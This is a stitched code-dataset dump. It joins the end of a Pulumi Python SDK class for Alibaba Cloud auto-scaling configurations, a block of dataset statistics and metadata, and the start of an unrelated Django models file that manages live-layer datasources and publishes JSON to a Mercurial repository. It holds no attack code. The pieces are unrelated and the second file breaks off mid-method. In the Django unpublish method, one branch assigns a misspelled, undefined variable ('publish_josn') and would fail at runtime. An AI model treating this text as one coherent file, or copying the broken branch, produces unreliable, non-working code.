__props__.__dict__["system_disk_auto_snapshot_policy_id"] = system_disk_auto_snapshot_policy_id
__props__.__dict__["system_disk_category"] = system_disk_category
__props__.__dict__["system_disk_description"] = system_disk_description
__props__.__dict__["system_disk_name"] = system_disk_name
__props__.__dict__["system_disk_performance_level"] = system_disk_performance_level
__props__.__dict__["system_disk_size"] = system_disk_size
__props__.__dict__["tags"] = tags
__props__.__dict__["user_data"] = user_data
super(ScalingConfiguration, __self__).__init__(
'alicloud:ess/scalingConfiguration:ScalingConfiguration',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
active: Optional[pulumi.Input[bool]] = None,
credit_specification: Optional[pulumi.Input[str]] = None,
data_disks: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ScalingConfigurationDataDiskArgs']]]]] = None,
enable: Optional[pulumi.Input[bool]] = None,
force_delete: Optional[pulumi.Input[bool]] = None,
image_id: Optional[pulumi.Input[str]] = None,
image_name: Optional[pulumi.Input[str]] = None,
instance_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
instance_name: Optional[pulumi.Input[str]] = None,
instance_type: Optional[pulumi.Input[str]] = None,
instance_types: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
internet_charge_type: Optional[pulumi.Input[str]] = None,
internet_max_bandwidth_in: Optional[pulumi.Input[int]] = None,
internet_max_bandwidth_out: Optional[pulumi.Input[int]] = None,
io_optimized: Optional[pulumi.Input[str]] = None,
is_outdated: Optional[pulumi.Input[bool]] = None,
key_name: Optional[pulumi.Input[str]] = None,
kms_encrypted_password: Optional[pulumi.Input[str]] = None,
kms_encryption_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
override: Optional[pulumi.Input[bool]] = None,
password: Optional[pulumi.Input[str]] = None,
password_inherit: Optional[pulumi.Input[bool]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
role_name: Optional[pulumi.Input[str]] = None,
scaling_configuration_name: Optional[pulumi.Input[str]] = None,
scaling_group_id: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
substitute: Optional[pulumi.Input[str]] = None,
system_disk_auto_snapshot_policy_id: Optional[pulumi.Input[str]] = None,
system_disk_category: Optional[pulumi.Input[str]] = None,
system_disk_description: Optional[pulumi.Input[str]] = None,
system_disk_name: Optional[pulumi.Input[str]] = None,
system_disk_performance_level: Optional[pulumi.Input[str]] = None,
system_disk_size: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
user_data: Optional[pulumi.Input[str]] = None) -> 'ScalingConfiguration':
"""
Get an existing ScalingConfiguration resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[bool] active: Whether active current scaling configuration in the specified scaling group. Default to `false`.
:param pulumi.Input[str] credit_specification: Performance mode of the t5 burstable instance. Valid values: 'Standard', 'Unlimited'.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ScalingConfigurationDataDiskArgs']]]] data_disks: DataDisk mappings to attach to ecs instance. See Block datadisk below for details.
:param pulumi.Input[bool] enable: Whether enable the specified scaling group(make it active) to which the current scaling configuration belongs.
:param pulumi.Input[bool] force_delete: The last scaling configuration will be deleted forcibly with deleting its scaling group. Default to false.
:param pulumi.Input[str] image_id: ID of an image file, indicating the image resource selected when an instance is enabled.
:param pulumi.Input[str] image_name: Name of an image file, indicating the image resource selected when an instance is enabled.
:param pulumi.Input[Sequence[pulumi.Input[str]]] instance_ids: It has been deprecated from version 1.6.0. New resource `ess.Attachment` replaces it.
:param pulumi.Input[str] instance_name: Name of an ECS instance. Default to "ESS-Instance". It is valid from version 1.7.1.
:param pulumi.Input[str] instance_type: Resource type of an ECS instance.
:param pulumi.Input[Sequence[pulumi.Input[str]]] instance_types: Resource types of an ECS instance.
:param pulumi.Input[str] internet_charge_type: Network billing type, Values: PayByBandwidth or PayByTraffic. Default to `PayByBandwidth`.
:param pulumi.Input[int] internet_max_bandwidth_in: Maximum incoming bandwidth from the public network, measured in Mbps (Mega bit per second). The value range is [1,200].
:param pulumi.Input[int] internet_max_bandwidth_out: Maximum outgoing bandwidth from the public network, measured in Mbps (Mega bit per second). The value range for PayByBandwidth is [0,100].
:param pulumi.Input[str] io_optimized: It has been deprecated on instance resource. All the launched alicloud instances will be I/O optimized.
:param pulumi.Input[bool] is_outdated: Whether to use outdated instance type. Default to false.
:param pulumi.Input[str] key_name: The name of key pair that can login ECS instance successfully without password. If it is specified, the password would be invalid.
:param pulumi.Input[str] kms_encrypted_password: An KMS encrypts password used to a db account. If the `password` is filled in, this field will be ignored.
:param pulumi.Input[Mapping[str, Any]] kms_encryption_context: An KMS encryption context used to decrypt `kms_encrypted_password` before creating or updating a db account with `kms_encrypted_password`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set.
:param pulumi.Input[bool] override: Indicates whether to overwrite the existing data. Default to false.
:param pulumi.Input[str] password: The password of the ECS instance. The password must be 8 to 30 characters in length. It must contains at least three of the following character types: uppercase letters, lowercase letters, digits, and special characters. Special characters include `() ~!@#$%^&*-_+=\|{}[]:;'<>,.?/`, The password of Windows-based instances cannot start with a forward slash (/).
:param pulumi.Input[bool] password_inherit: Specifies whether to use the password that is predefined in the image. If the PasswordInherit parameter is set to true, the `password` and `kms_encrypted_password` will be ignored. You must ensure that the selected image has a password configured.
:param pulumi.Input[str] resource_group_id: ID of resource group.
:param pulumi.Input[str] role_name: Instance RAM role name. The name is provided and maintained by RAM. You can use `ram.Role` to create a new one.
:param pulumi.Input[str] scaling_configuration_name: Name shown for the scheduled task. which must contain 2-64 characters (English or Chinese), starting with numbers, English letters or Chinese characters, and can contain number, underscores `_`, hypens `-`, and decimal point `.`. If this parameter value is not specified, the default value is ScalingConfigurationId.
:param pulumi.Input[str] scaling_group_id: ID of the scaling group of a scaling configuration.
:param pulumi.Input[str] security_group_id: ID of the security group used to create new instance. It is conflict with `security_group_ids`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] security_group_ids: List IDs of the security group used to create new instances. It is conflict with `security_group_id`.
:param pulumi.Input[str] substitute: The another scaling configuration which will be active automatically and replace current configuration when setting `active` to 'false'. It is invalid when `active` is 'true'.
:param pulumi.Input[str] system_disk_auto_snapshot_policy_id: The id of auto snapshot policy for system disk.
:param pulumi.Input[str] system_disk_category: Category of the system disk. The parameter value options are `ephemeral_ssd`, `cloud_efficiency`, `cloud_ssd`, `cloud_essd` and `cloud`. `cloud` only is used to some no I/O optimized instance. Default to `cloud_efficiency`.
:param pulumi.Input[str] system_disk_description: The description of the system disk. The description must be 2 to 256 characters in length and cannot start with http:// or https://.
:param pulumi.Input[str] system_disk_name: The name of the system disk. It must be 2 to 128 characters in length. It must start with a letter and cannot start with http:// or https://. It can contain letters, digits, colons (:), underscores (_), and hyphens (-). Default value: null.
:param pulumi.Input[str] system_disk_performance_level: The performance level of the ESSD used as the system disk.
:param pulumi.Input[int] system_disk_size: Size of system disk, in GiB. Optional values: cloud: 20-500, cloud_efficiency: 20-500, cloud_ssd: 20-500, ephemeral_ssd: 20-500 The default value is max{40, ImageSize}. If this parameter is set, the system disk size must be greater than or equal to max{40, ImageSize}.
:param pulumi.Input[Mapping[str, Any]] tags: A mapping of tags to assign to the resource. It will be applied for ECS instances finally.
- Key: It can be up to 64 characters in length. It cannot begin with "aliyun", "http://", or "https://". It cannot be a null string.
- Value: It can be up to 128 characters in length. It cannot begin with "aliyun", "http://", or "https://" It can be a null string.
:param pulumi.Input[str] user_data: User-defined data to customize the startup behaviors of the ECS instance and to pass data into the ECS instance.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _ScalingConfigurationState.__new__(_ScalingConfigurationState)
__props__.__dict__["active"] = active
__props__.__dict__["credit_specification"] = credit_specification
__props__.__dict__["data_disks"] = data_disks
__props__.__dict__["enable"] = enable
__props__.__dict__["force_delete"] = force_delete
__props__.__dict__["image_id"] = image_id
__props__.__dict__["image_name"] = image_name
__props__.__dict__["instance_ids"] = instance_ids
__props__.__dict__["instance_name"] = instance_name
__props__.__dict__["instance_type"] = instance_type
__props__.__dict__["instance_types"] = instance_types
__props__.__dict__["internet_charge_type"] = internet_charge_type
__props__.__dict__["internet_max_bandwidth_in"] = internet_max_bandwidth_in
__props__.__dict__["internet_max_bandwidth_out"] = internet_max_bandwidth_out
__props__.__dict__["io_optimized"] = io_optimized
__props__.__dict__["is_outdated"] = is_outdated
__props__.__dict__["key_name"] = key_name
__props__.__dict__["kms_encrypted_password"] = kms_encrypted_password
__props__.__dict__["kms_encryption_context"] = kms_encryption_context
__props__.__dict__["override"] = override
__props__.__dict__["password"] = password
__props__.__dict__["password_inherit"] = password_inherit
__props__.__dict__["resource_group_id"] = resource_group_id
__props__.__dict__["role_name"] = role_name
__props__.__dict__["scaling_configuration_name"] = scaling_configuration_name
__props__.__dict__["scaling_group_id"] = scaling_group_id
__props__.__dict__["security_group_id"] = security_group_id
__props__.__dict__["security_group_ids"] = security_group_ids
__props__.__dict__["substitute"] = substitute
__props__.__dict__["system_disk_auto_snapshot_policy_id"] = system_disk_auto_snapshot_policy_id
__props__.__dict__["system_disk_category"] = system_disk_category
__props__.__dict__["system_disk_description"] = system_disk_description
__props__.__dict__["system_disk_name"] = system_disk_name
__props__.__dict__["system_disk_performance_level"] = system_disk_performance_level
__props__.__dict__["system_disk_size"] = system_disk_size
__props__.__dict__["tags"] = tags
__props__.__dict__["user_data"] = user_data
return ScalingConfiguration(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def active(self) -> pulumi.Output[bool]:
"""
Whether active current scaling configuration in the specified scaling group. Default to `false`.
"""
return pulumi.get(self, "active")
@property
@pulumi.getter(name="creditSpecification")
def credit_specification(self) -> pulumi.Output[Optional[str]]:
"""
Performance mode of the t5 burstable instance. Valid values: 'Standard', 'Unlimited'.
"""
return pulumi.get(self, "credit_specification")
@property
@pulumi.getter(name="dataDisks")
def data_disks(self) -> pulumi.Output[Optional[Sequence['outputs.ScalingConfigurationDataDisk']]]:
"""
DataDisk mappings to attach to ecs instance. See Block datadisk below for details.
"""
return pulumi.get(self, "data_disks")
@property
@pulumi.getter
def enable(self) -> pulumi.Output[Optional[bool]]:
"""
Whether enable the specified scaling group(make it active) to which the current scaling configuration belongs.
"""
return pulumi.get(self, "enable")
@property
@pulumi.getter(name="forceDelete")
def force_delete(self) -> pulumi.Output[Optional[bool]]:
"""
The last scaling configuration will be deleted forcibly with deleting its scaling group. Default to false.
"""
return pulumi.get(self, "force_delete")
@property
@pulumi.getter(name="imageId")
def image_id(self) -> pulumi.Output[Optional[str]]:
"""
ID of an image file, indicating the image resource selected when an instance is enabled.
"""
return pulumi.get(self, "image_id")
@property
@pulumi.getter(name="imageName")
def image_name(self) -> pulumi.Output[Optional[str]]:
"""
Name of an image file, indicating the image resource selected when an instance is enabled.
"""
return pulumi.get(self, "image_name")
@property
@pulumi.getter(name="instanceIds")
def instance_ids(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
It has been deprecated from version 1.6.0. New resource `ess.Attachment` replaces it.
"""
return pulumi.get(self, "instance_ids")
@property
@pulumi.getter(name="instanceName")
def instance_name(self) -> pulumi.Output[Optional[str]]:
"""
Name of an ECS instance. Default to "ESS-Instance". It is valid from version 1.7.1.
"""
return pulumi.get(self, "instance_name")
@property
@pulumi.getter(name="instanceType")
def instance_type(self) -> pulumi.Output[Optional[str]]:
"""
Resource type of an ECS instance.
"""
return pulumi.get(self, "instance_type")
@property
@pulumi.getter(name="instanceTypes")
def instance_types(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
Resource types of an ECS instance.
"""
return pulumi.get(self, "instance_types")
@property
@pulumi.getter(name="internetChargeType")
def internet_charge_type(self) -> pulumi.Output[Optional[str]]:
"""
Network billing type, Values: PayByBandwidth or PayByTraffic. Default to `PayByBandwidth`.
"""
return pulumi.get(self, "internet_charge_type")
@property
@pulumi.getter(name="internetMaxBandwidthIn")
def internet_max_bandwidth_in(self) -> pulumi.Output[int]:
"""
Maximum incoming bandwidth from the public network, measured in Mbps (Mega bit per second). The value range is [1,200].
"""
return pulumi.get(self, "internet_max_bandwidth_in")
@property
@pulumi.getter(name="internetMaxBandwidthOut")
def internet_max_bandwidth_out(self) -> pulumi.Output[Optional[int]]:
"""
Maximum outgoing bandwidth from the public network, measured in Mbps (Mega bit per second). The value range for PayByBandwidth is [0,100].
"""
return pulumi.get(self, "internet_max_bandwidth_out")
@property
@pulumi.getter(name="ioOptimized")
def io_optimized(self) -> pulumi.Output[Optional[str]]:
"""
It has been deprecated on instance resource. All the launched alicloud instances will be I/O optimized.
"""
return pulumi.get(self, "io_optimized")
@property
@pulumi.getter(name="isOutdated")
def is_outdated(self) -> pulumi.Output[Optional[bool]]:
"""
Whether to use outdated instance type. Default to false.
"""
return pulumi.get(self, "is_outdated")
@property
@pulumi.getter(name="keyName")
def key_name(self) -> pulumi.Output[Optional[str]]:
"""
The name of key pair that can login ECS instance successfully without password. If it is specified, the password would be invalid.
"""
return pulumi.get(self, "key_name")
@property
@pulumi.getter(name="kmsEncryptedPassword")
def kms_encrypted_password(self) -> pulumi.Output[Optional[str]]:
"""
An KMS encrypts password used to a db account. If the `password` is filled in, this field will be ignored.
"""
return pulumi.get(self, "kms_encrypted_password")
@property
@pulumi.getter(name="kmsEncryptionContext")
def kms_encryption_context(self) -> pulumi.Output[Optional[Mapping[str, Any]]]:
"""
An KMS encryption context used to decrypt `kms_encrypted_password` before creating or updating a db account with `kms_encrypted_password`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set.
"""
return pulumi.get(self, "kms_encryption_context")
@property
@pulumi.getter
def override(self) -> pulumi.Output[Optional[bool]]:
"""
Indicates whether to overwrite the existing data. Default to false.
"""
return pulumi.get(self, "override")
@property
@pulumi.getter
def password(self) -> pulumi.Output[Optional[str]]:
"""
The password of the ECS instance. The password must be 8 to 30 characters in length. It must contains at least three of the following character types: uppercase letters, lowercase letters, digits, and special characters. Special characters include `() ~!@#$%^&*-_+=\|{}[]:;'<>,.?/`, The password of Windows-based instances cannot start with a forward slash (/).
"""
return pulumi.get(self, "password")
@property
@pulumi.getter(name="passwordInherit")
def password_inherit(self) -> pulumi.Output[Optional[bool]]:
"""
Specifies whether to use the password that is predefined in the image. If the PasswordInherit parameter is set to true, the `password` and `kms_encrypted_password` will be ignored. You must ensure that the selected image has a password configured.
"""
return pulumi.get(self, "password_inherit")
@property
@pulumi.getter(name="resourceGroupId")
def resource_group_id(self) -> pulumi.Output[Optional[str]]:
"""
ID of resource group.
"""
return pulumi.get(self, "resource_group_id")
@property
@pulumi.getter(name="roleName")
def role_name(self) -> pulumi.Output[Optional[str]]:
"""
Instance RAM role name. The name is provided and maintained by RAM. You can use `ram.Role` to create a new one.
"""
return pulumi.get(self, "role_name")
@property
@pulumi.getter(name="scalingConfigurationName")
def scaling_configuration_name(self) -> pulumi.Output[str]:
"""
Name shown for the scheduled task. which must contain 2-64 characters (English or Chinese), starting with numbers, English letters or Chinese characters, and can contain number, underscores `_`, hypens `-`, and decimal point `.`. If this parameter value is not specified, the default value is ScalingConfigurationId.
"""
return pulumi.get(self, "scaling_configuration_name")
@property
@pulumi.getter(name="scalingGroupId")
def scaling_group_id(self) -> pulumi.Output[str]:
"""
ID of the scaling group of a scaling configuration.
"""
return pulumi.get(self, "scaling_group_id")
@property
@pulumi.getter(name="securityGroupId")
def security_group_id(self) -> pulumi.Output[Optional[str]]:
"""
ID of the security group used to create new instance. It is conflict with `security_group_ids`.
"""
return pulumi.get(self, "security_group_id")
@property
@pulumi.getter(name="securityGroupIds")
def security_group_ids(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
List IDs of the security group used to create new instances. It is conflict with `security_group_id`.
"""
return pulumi.get(self, "security_group_ids")
@property
@pulumi.getter
def substitute(self) -> pulumi.Output[str]:
"""
The another scaling configuration which will be active automatically and replace current configuration when setting `active` to 'false'. It is invalid when `active` is 'true'.
"""
return pulumi.get(self, "substitute")
@property
@pulumi.getter(name="systemDiskAutoSnapshotPolicyId")
def system_disk_auto_snapshot_policy_id(self) -> pulumi.Output[Optional[str]]:
"""
The id of auto snapshot policy for system disk.
"""
return pulumi.get(self, "system_disk_auto_snapshot_policy_id")
@property
@pulumi.getter(name="systemDiskCategory")
def system_disk_category(self) -> pulumi.Output[Optional[str]]:
"""
Category of the system disk. The parameter value options are `ephemeral_ssd`, `cloud_efficiency`, `cloud_ssd`, `cloud_essd` and `cloud`. `cloud` only is used to some no I/O optimized instance. Default to `cloud_efficiency`.
"""
return pulumi.get(self, "system_disk_category")
@property
@pulumi.getter(name="systemDiskDescription")
def system_disk_description(self) -> pulumi.Output[Optional[str]]:
"""
The description of the system disk. The description must be 2 to 256 characters in length and cannot start with http:// or https://.
"""
return pulumi.get(self, "system_disk_description")
@property
@pulumi.getter(name="systemDiskName")
def system_disk_name(self) -> pulumi.Output[Optional[str]]:
"""
The name of the system disk. It must be 2 to 128 characters in length. It must start with a letter and cannot start with http:// or https://. It can contain letters, digits, colons (:), underscores (_), and hyphens (-). Default value: null.
"""
return pulumi.get(self, "system_disk_name")
@property
@pulumi.getter(name="systemDiskPerformanceLevel")
def system_disk_performance_level(self) -> pulumi.Output[Optional[str]]:
"""
The performance level of the ESSD used as the system disk.
"""
return pulumi.get(self, "system_disk_performance_level")
@property
@pulumi.getter(name="systemDiskSize")
def system_disk_size(self) -> pulumi.Output[Optional[int]]:
"""
Size of system disk, in GiB. Optional values: cloud: 20-500, cloud_efficiency: 20-500, cloud_ssd: 20-500, ephemeral_ssd: 20-500 The default value is max{40, ImageSize}. If this parameter is set, the system disk size must be greater than or equal to max{40, ImageSize}.
"""
return pulumi.get(self, "system_disk_size")
@property
@pulumi.getter
def tags(self) -> pulumi.Output[Optional[Mapping[str, Any]]]:
"""
A mapping of tags to assign to the resource. It will be applied for ECS instances finally.
- Key: It can be up to 64 characters in length. It cannot begin with "aliyun", "http://", or "https://". It cannot be a null string.
- Value: It can be up to 128 characters in length. It cannot begin with "aliyun", "http://", or "https://" It can be a null string.
"""
return pulumi.get(self, "tags")
@property
@pulumi.getter(name="userData")
def user_data(self) -> pulumi.Output[Optional[str]]:
"""
User-defined data to customize the startup behaviors of the ECS instance and to pass data into the ECS instance.
"""
return pulumi.get(self, "user_data")
| 58.524112
| 404
| 0.686395
| 14,103
| 110,435
| 5.170957
| 0.028788
| 0.081
| 0.085978
| 0.058827
| 0.973645
| 0.968269
| 0.9624
| 0.959946
| 0.958876
| 0.946055
| 0
| 0.005434
| 0.213492
| 110,435
| 1,886
| 405
| 58.555143
| 0.834166
| 0.387649
| 0
| 0.922676
| 1
| 0.010426
| 0.142221
| 0.045056
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166811
| false
| 0.06603
| 0.006082
| 0
| 0.272806
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 9
|
1432d55987d68dab77a5419b9571948f6f613e39
| 53,711
|
py
|
Python
|
livelayermanager/models.py
|
parksandwildlife/borgcollector
|
dab9464f2e58c7dbc039b4805bb894b168547938
|
[
"BSD-3-Clause"
] | 2
|
2016-01-20T02:26:06.000Z
|
2016-02-16T02:47:24.000Z
|
livelayermanager/models.py
|
parksandwildlife/borgcollector
|
dab9464f2e58c7dbc039b4805bb894b168547938
|
[
"BSD-3-Clause"
] | 4
|
2020-02-11T23:40:10.000Z
|
2021-09-22T04:27:50.000Z
|
livelayermanager/models.py
|
dbca-wa/borgcollector
|
dab9464f2e58c7dbc039b4805bb894b168547938
|
[
"BSD-3-Clause"
] | 4
|
2016-01-12T02:10:14.000Z
|
2017-11-09T13:53:16.000Z
|
from __future__ import unicode_literals
import re
import json
import logging
import shutil
import os
import hglib
from datetime import datetime
import requests
from django.conf import settings
from django.db import models
from django.contrib.postgres.fields import HStoreField
from django.utils import timezone
from django.core.validators import RegexValidator
from django.dispatch import receiver
from django.db.models.signals import pre_save, pre_delete,post_save,post_delete
from django.db import transaction
from django.core.exceptions import ValidationError
from tablemanager.models import Workspace
from borg_utils.borg_config import BorgConfiguration
from borg_utils.resource_status import ResourceStatus,ResourceStatusMixin,ResourceAction
from borg_utils.transaction import TransactionMixin
from borg_utils.db_util import DbUtil
from borg_utils.spatial_table import SpatialTableMixin
from borg_utils.signals import inherit_support_receiver
from borg_utils.models import BorgModel,SQLField
from borg_utils.utils import file_md5
from borg_utils.hg_batch_push import try_set_push_owner, try_clear_push_owner, increase_committed_changes, try_push_to_repository
logger = logging.getLogger(__name__)
slug_re = re.compile(r'^[a-z_][a-z0-9_]+$')
validate_slug = RegexValidator(slug_re, "Slug can only start with lowercase letters or underscore, and contain lowercase letters, numbers and underscore", "invalid")
default_layer_geoserver_setting = {
"create_cache_layer": True,
"client_cache_expire": 0,
"meta_tiling_factor": [1, 1],
"server_cache_expire": 0,
"gridsets": {
"EPSG:3857": {
"enabled": True
},
"internal.fms.wa.gov.au/apps/sss": {
"enabled": True}
},
}
default_layer_geoserver_setting_json = json.dumps(default_layer_geoserver_setting)
# Create your models here.
class Datasource(BorgModel,ResourceStatusMixin,TransactionMixin):
name = models.SlugField(max_length=64,null=False,blank=False,editable=True,unique=True, help_text="The name of live layer datasource", validators=[validate_slug])
workspace = models.ForeignKey(Workspace, null=False,blank=False)
host = models.CharField(max_length=128,null=False,blank=False)
port = models.PositiveIntegerField(blank=False,default=5432)
db_name = models.CharField(max_length=64,null=False,blank=False,editable=True, help_text="The name of live layer database")
user = models.CharField(max_length=32,null=True,blank=True)
password = models.CharField(max_length=32,null=True,blank=True)
schema = models.CharField(max_length=32,blank=False,default="public")
filter = models.CharField(max_length=32,blank=True,null=True)
geoserver_setting = models.TextField(blank=True,null=True,editable=False)
status = models.CharField(max_length=32,null=False,editable=False,choices=ResourceStatus.layer_status_options)
layers = models.PositiveIntegerField(null=False,editable=False,default=0)
last_refresh_time = models.DateTimeField(null=True,editable=False)
last_publish_time = models.DateTimeField(null=True,editable=False)
last_unpublish_time = models.DateTimeField(null=True,editable=False)
last_modify_time = models.DateTimeField(null=False,editable=False,default=timezone.now)
_filters = None
def clean(self):
if not self.pk:
self.status = ResourceStatus.New.name
else:
#already exist
self.status = self.next_status(ResourceAction.UPDATE)
if self.filter:
try:
[re.compile(f.strip()) for f in self.filter.split(";") if f.strip()]
except:
raise ValidationError("Invalid filter.")
self.last_modify_time = timezone.now()
def save(self, force_insert=False, force_update=False, using=None, update_fields=None):
try:
if self.try_begin_transaction("datasource_save"):
with transaction.atomic():
super(Datasource,self).save(force_insert,force_update,using,update_fields)
else:
super(Datasource,self).save(force_insert,force_update,using,update_fields)
finally:
self.try_clear_transaction("datasource_save")
if (update_fields is None
and (self.changed_fields == "__all__" or any([f in self.changed_fields for f in ["host","port","db_name","schema","user","password","filter"]]))
):
self.refresh()
def delete(self,using=None):
logger.info('Delete {0}:{1}'.format(type(self),self.name))
try:
if self.try_begin_transaction("datasource_delete"):
with transaction.atomic():
super(Datasource,self).delete(using)
else:
super(Datasource,self).delete(using)
finally:
self.try_clear_transaction("datasource_delete")
@property
def dbUtil(self):
dbUtil = getattr(self,"_dbUtil") if hasattr(self,"_dbUtil") else None
if not dbUtil:
dbUtil = DbUtil(self.db_name,self.host,self.port,self.user,self.password)
setattr(self,"_dbUtil",dbUtil)
return dbUtil
def filter_table(self,table):
if not self.filter:
return True
if not self._filters:
self._filters = [re.compile(f.strip()) for f in self.filter.split(";") if f.strip()]
return any([f.search(table) for f in self._filters])
def refresh(self):
self.try_begin_transaction("datasource_refresh")
try:
#modify the table data
now = timezone.now()
tables = self.dbUtil.get_all_tables(self.schema)
views = self.dbUtil.get_all_views(self.schema)
now = timezone.now()
#refresh tables and views
for typename, tables in [["Table", tables],["Views", views]]:
for table_name in tables:
if not self.filter_table(table_name):
continue
layer, created = Layer.objects.get_or_create(datasource=self,
table=table_name,
defaults={
"type": typename,
"last_refresh_time": now,
"geoserver_setting":default_layer_geoserver_setting_json,
"status":ResourceStatus.New.name
}
)
layer.refresh(now)
Layer.objects.filter(datasource=self).exclude(last_refresh_time=now).delete()
for viewlayer in self.sqlviewlayer_set.all():
viewlayer.refresh(now)
self.layers = Layer.objects.filter(datasource=self).count()
self.last_refresh_time = now
self.save(update_fields=["layers","last_refresh_time"])
finally:
self.try_clear_transaction("datasource_refresh")
def json_filename(self,action='publish'):
if action in ['publish','unpublish']:
return os.path.join(self.workspace.publish_channel.name,"live_stores", "{}.{}.json".format(self.workspace.name, self.name))
else:
return os.path.join(self.workspace.publish_channel.name,"live_stores", "{}.{}.{}.json".format(self.workspace.name, self.name,action))
def json_filename_abs(self,action='publish'):
return os.path.join(BorgConfiguration.BORG_STATE_REPOSITORY, self.json_filename(action))
def unpublish(self):
publish_file = self.json_filename_abs('publish')
publish_json = None
if os.path.exists(publish_file):
with open(publish_file,"r") as f:
publish_json = json.loads(f.read())
else:
publish_json = {}
json_file = self.json_filename_abs('unpublish');
json_out = None
try_set_push_owner("liveserver")
hg = None
try:
if publish_json.get("action","publish") != "remove":
json_out = {}
json_out["name"] = self.name
json_out["workspace"] = self.workspace.name
json_out["channel"] = self.workspace.publish_channel.name
json_out["sync_geoserver_data"] = self.workspace.publish_channel.sync_geoserver_data
json_out['action'] = 'remove'
#retrieve meta data from the last publish task
meta_json = publish_json
if "meta" in publish_json and "file" in publish_json["meta"]:
meta_file = publish_json["meta"]["file"][len(BorgConfiguration.MASTER_PATH_PREFIX):]
if os.path.exists(meta_file):
with open(meta_file,"r") as f:
meta_json = json.loads(f.read())
else:
meta_json = {}
for key in ["name","workspace","channel","sync_geoserver_data"]:
if key in meta_json:
json_out[key] = meta_json[key]
else:
json_out = publish_josn
json_out["remove_time"] = timezone.localtime(timezone.now()).strftime("%Y-%m-%d %H:%M:%S.%f")
#create the dir if required
if not os.path.exists(os.path.dirname(json_file)):
os.makedirs(os.path.dirname(json_file))
with open(json_file, "wb") as output:
json.dump(json_out, output, indent=4)
hg = hglib.open(BorgConfiguration.BORG_STATE_REPOSITORY)
hg.commit(include=[json_file],addremove=True, user="borgcollector", message="Unpublish live store {}.{}".format(self.workspace.name, self.name))
increase_committed_changes()
try_push_to_repository("liveserver",hg)
finally:
if hg: hg.close()
try_clear_push_owner("liveserver")
def publish(self):
"""
publish store's json reference (if exists) to the repository,
"""
try_set_push_owner("liveserver")
hg = None
try:
meta_data = {}
meta_data["name"] = self.name
meta_data["host"] = self.host
meta_data["port"] = self.port
meta_data["database"] = self.db_name
meta_data["user"] = self.user
meta_data["passwd"] = self.password
meta_data["schema"] = self.schema
meta_data["workspace"] = self.workspace.name
meta_data["channel"] = self.workspace.publish_channel.name
meta_data["sync_geoserver_data"] = self.workspace.publish_channel.sync_geoserver_data
if self.geoserver_setting:
meta_data["geoserver_setting"] = json.loads(self.geoserver_setting)
#write meta data file
file_name = "{}.{}.meta.json".format(self.workspace.name,self.name)
meta_file = os.path.join(BorgConfiguration.LIVE_STORE_DIR,file_name)
#create the dir if required
if not os.path.exists(os.path.dirname(meta_file)):
os.makedirs(os.path.dirname(meta_file))
with open(meta_file,"wb") as output:
json.dump(meta_data, output, indent=4)
json_out = {}
json_out['meta'] = {"file":"{}{}".format(BorgConfiguration.MASTER_PATH_PREFIX, meta_file),"md5":file_md5(meta_file)}
json_out['action'] = 'publish'
json_out["publish_time"] = timezone.localtime(timezone.now()).strftime("%Y-%m-%d %H:%M:%S.%f")
json_filename = self.json_filename_abs('publish');
#create the dir if required
if not os.path.exists(os.path.dirname(json_filename)):
os.makedirs(os.path.dirname(json_filename))
with open(json_filename, "wb") as output:
json.dump(json_out, output, indent=4)
hg = hglib.open(BorgConfiguration.BORG_STATE_REPOSITORY)
hg.commit(include=[json_filename],addremove=True, user="borgcollector", message="Update live store {}.{}".format(self.workspace.name, self.name))
increase_committed_changes()
try_push_to_repository("liveserver",hg)
finally:
if hg: hg.close()
try_clear_push_owner("liveserver")
def __str__(self):
return self.name
class Meta:
ordering = ("name",)
class Layer(BorgModel,ResourceStatusMixin,TransactionMixin,SpatialTableMixin):
table = models.SlugField(max_length=64,null=False,editable=True)
datasource = models.ForeignKey(Datasource,editable=False,on_delete=models.CASCADE)
type = models.CharField(max_length=8,null=False,editable=False)
spatial_info = models.TextField(max_length=512,editable=False,null=True,blank=True)
sql = models.TextField(null=True, editable=False)
kmi_bbox = models.CharField(max_length=128,null=True,blank=True,editable=True)
name = models.CharField(max_length=256,null=True,editable=True,blank=True,unique=True)
geoserver_setting = models.TextField(blank=True,null=True,editable=False)
status = models.CharField(max_length=32, null=False, editable=False,choices=ResourceStatus.layer_status_options)
last_publish_time = models.DateTimeField(null=True,editable=False)
last_unpublish_time = models.DateTimeField(null=True,editable=False)
last_refresh_time = models.DateTimeField(null=False,editable=False)
last_modify_time = models.DateTimeField(null=True,editable=False)
@property
def table_name(self):
return self.table
@property
def table_schema(self):
return self.datasource.schema
@property
def db_util(self):
return self.datasource.dbUtil
@staticmethod
def is_system_table(table):
